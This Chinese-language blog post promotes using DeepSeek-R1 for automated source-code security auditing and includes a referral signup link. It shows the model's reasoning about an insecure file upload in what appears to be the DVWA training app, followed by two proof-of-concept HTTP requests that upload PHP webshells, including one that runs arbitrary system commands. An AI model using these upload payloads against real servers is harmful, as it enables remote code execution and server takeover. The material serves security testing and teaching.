【大模型實戰】基於DeepSeek的智能代碼審計系統 漏洞檢測效率提升300%的祕訣

軟體驗收 5 閱讀 A+ 默認 A-

DeepSeek原始程式碼漏洞掃描

當前,AI大模型領域最受矚目的非DeepSeek莫屬,該大模型在數學、程式碼、自然語言推理等任務上效能對標OpenAI o1正式版.該模型已迅速被各大集團公司、國家超級計算機平臺、部分地方政府部門以及AI同行廣泛接入,顯著提升了各領域的工作效率。爲了進一步提高模型輸出答案的準確性,DeepSeek推出了創新的DeepSeek-R1推理模型。該模型在生成最終回答前,會先輸出一段詳細的思維鏈內容,這一獨特設計使其在GitHub開源平臺上迅速吸引了77.2k(這個數值每天都在迅速增加中)的關注者,成爲業界焦點。

在軟體測試行業,我們也積極跟進技術前沿,各大軟件質量團隊紛紛引入DeepSeek,以提升軟體產品的質量。 借助DeepSeek-R1模型的“深度思考”和“準確推理”等顯著優勢,我們能够更加精准地定位軟件或原始程式碼中那些隱蔽且難以察覺的軟件缺陷(Bug)。 以我們近期測試的一套CMS系統為例,通過運用DeepSeek大模型對其原始程式碼進行深入的安全性漏洞檢測(程式碼稽核),我們不僅成功識別出了潜在的安全性漏洞,還順利獲取了該CMS系統的控制權,充分展示了DeepSeek在軟體測試領域的强大能力。

由於DeepSeek訪問量較大,推理模型回復時經常出現“服務器繁忙,請稍後再試”的問題,穩定性較差。 我們使用了派歐算力雲提供的DeepSeek的API介面,滿足本次程式碼稽核的穩定要求。 不過其他協力廠商的API可以考慮阿裡雲、騰訊雲、矽基流動、位元組火山等。

注册並登入派歐算力雲獲取api key,使用以下URL注册雙方各得¥50元代金劵。

https://ppinfra.com/user/register?invited_by=11QX33

基礎環境安裝

Python版本:Pyrhon3.8.8

安裝openai:pip3 install 'openai>=1.0.0'

DeepSeek代碼審計腳本:關注公眾號(軟件測評實驗室),或通過官網:https://www.bjstos.com掃描首頁右下角的二維碼或者公眾號,公眾號回覆"DeepSeek程式碼稽核"獲取項目完整程式碼下載地址,再次感謝Mr.Robot同學的技術分享。


配置API Key和模型

main.py中配置api 接口以及 api key 信息,在派歐算力雲平臺https://ppinfra.com/settings/key-management創建API Key

api_client.py中調用模型的model和role,model也可以使用deepseek/deepseek-r1/community

配置DeepSeek模型問答信息

audit_logic.py中配置需要大模型要做的需求信息,根據需要自行修改。

配寘要掃描的程式碼檔案格式

file_processor.py中可以根據實際情況設置掃描的文件後綴,以及跳過掃描的目錄。

DeepSeek代碼審計實戰

DeepSeek代碼審計深度思考信息

好的,我現在需要分析這個上傳漏洞的程式碼,找出可能存在的高危漏洞。 首先,看到這個index.php檔案,它根據cookie中的security級別來包含不同的處理檔案,比如low.php、medium.php、high.php或者impossible.php。 這說明不同安全級別下,上傳的處理邏輯可能不同,可能存在不同的漏洞。首先,我需要考慮當security級別為low時的情况。 通常,在低安全級別下,可能沒有足够的檔案類型檢查,導致可以上傳任意檔案,比如PHP腳本,從而執行惡意程式碼。 查看low.php的程式碼可能會有簡單的檢查,比如只檢查Content-Type或者文件副檔名,但這些都可以被繞過。假設在low.php中,服務器僅檢查上傳文件的MIME類型是否為image/jpeg或image/png,或者只檢查文件副檔名是否為圖片格式。 這時候,攻擊者可以修改文件副檔名,或者在請求中偽造Content-Type,上傳一個含有惡意程式碼的PHP檔案。 例如,將shell.php的檔名改為shell.jpg.php,或者直接上傳.php檔案並設定Content-Type為image/jpeg,從而繞過檢查。接下來,驗證這個漏洞是否存在。 構造一個HTTP請求,上傳一個PHP檔案,比如:<?phpechosystem($_GET['cmd']);? >然後,在請求中設定正確的Content-Type,比如image/jpeg,並觀察服務器是否接受該檔案。 如果上傳成功,並且返回了檔案路徑,訪問該路徑即可執行任意命令,證明存在高危漏洞。另外,在medium或high安全級別下,可能有更嚴格的檢查,比如檢查檔案頭或者使用getimagesize()函數,但需要具體看對應的處理程式碼。 不過根據當前提供的index.php程式碼,無法直接看到這些處理邏輯,所以需要假設在低安全級別下存在漏洞。總結,高危漏洞可能存在於低安全級別的文件上傳處理中,允許上傳惡意PHP檔案導致遠程程式碼執行。

發現“不安全的文件上傳導致遠程代碼執行”漏洞

發現“不安全的文件上傳導致遠程代碼執行”漏洞,風險等級:高危,同時DeepSeek按照我的要求給出了驗證POC,按照操作程式碼拿到用戶許可權。

###[不安全的文件上傳導致遠程程式碼執行]-風險等級:高危-位置:/codeaudit/xxx/xxx/upload/source/low.php(假設低安全級別未做有效過濾)-描述:當安全級別設定為low時,服務端未對上傳文件進行有效類型校驗,允許上傳.php等可執行文件,攻擊者可上傳webshell獲取服務器控制權-驗證POC:POST/xxx/xxx/upload/HTTP/1.1Host:localhostCookie:security=low; PHPSESSID=your_session_idContent-Type:multipart/form-data; boundary=----WebKitFormBoundaryABC123------WebKitFormBoundaryABC123Content-Disposition:form-data; name="uploaded"; filename="shell.php"Content-Type:image/jpeg<?phpif(isset($_GET['cmd'])){system($_GET['cmd']);}?>------WebKitFormBoundaryABC123Content-Disposition:form-data; name="Upload"Upload------WebKitFormBoundaryABC123--成功上傳後訪問:` http://localhost/xxxx/hackable/uploads/shell.php?cmd=id `,將執行系統命令返回當前用戶許可權資訊

發現“文件類型校驗繞過”漏洞

發現“文件類型校驗繞過”,風險等級:高危,同時DeepSeek按照我的要求給出了驗證POC,通過雙副檔名.png.php繞過基礎過濾,上傳成功後訪問.php檔案將觸發phpinfo資訊洩露。

###[文件類型校驗繞過]
-風險等級:高危
-位置:同上
-描述:服務端僅檢查Content-Type頭或簡單擴展名過濾,可通過修改請求包僞造合法類型上傳惡意文件
-驗證POC:
POST/xxx/xxx/upload/HTTP/1.1
Host:localhost
Cookie:security=low;PHPSESSID=your_session_id
Content-Type:multipart/form-data;boundary=----WebKitFormBoundaryXYZ789

------WebKitFormBoundaryXYZ789
Content-Disposition:form-data;name="uploaded";filename="image.png.php"
Content-Type:image/png

<?phpphpinfo();?>
------WebKitFormBoundaryXYZ789
Content-Disposition:form-data;name="Upload"

Upload
------WebKitFormBoundaryXYZ789--

通過雙擴展名.png.php繞過基礎過濾,上傳成功後訪問.php文件將觸發phpinfo信息泄露

代碼審計完成

審計完成後,會在當前目錄下自動生成MarkDown結果文件security_audit_report.md,爲了更好的閱讀體驗建議使用Typora工具打開。

稽核完成! 報告已保存至:security_audit_report.md

本次程式碼審計工作中,我們採用了DeepSeek推理模型,顯著提升了軟體測試結果的準確性,進一步驗證了AI大模型的强大能力。 該模型不僅大幅提高了測試工作的效率和精准度,還有效彌補了軟體測試工程師在某些方面的不足,從而全面提升了軟體測試的覆蓋率。


相關文章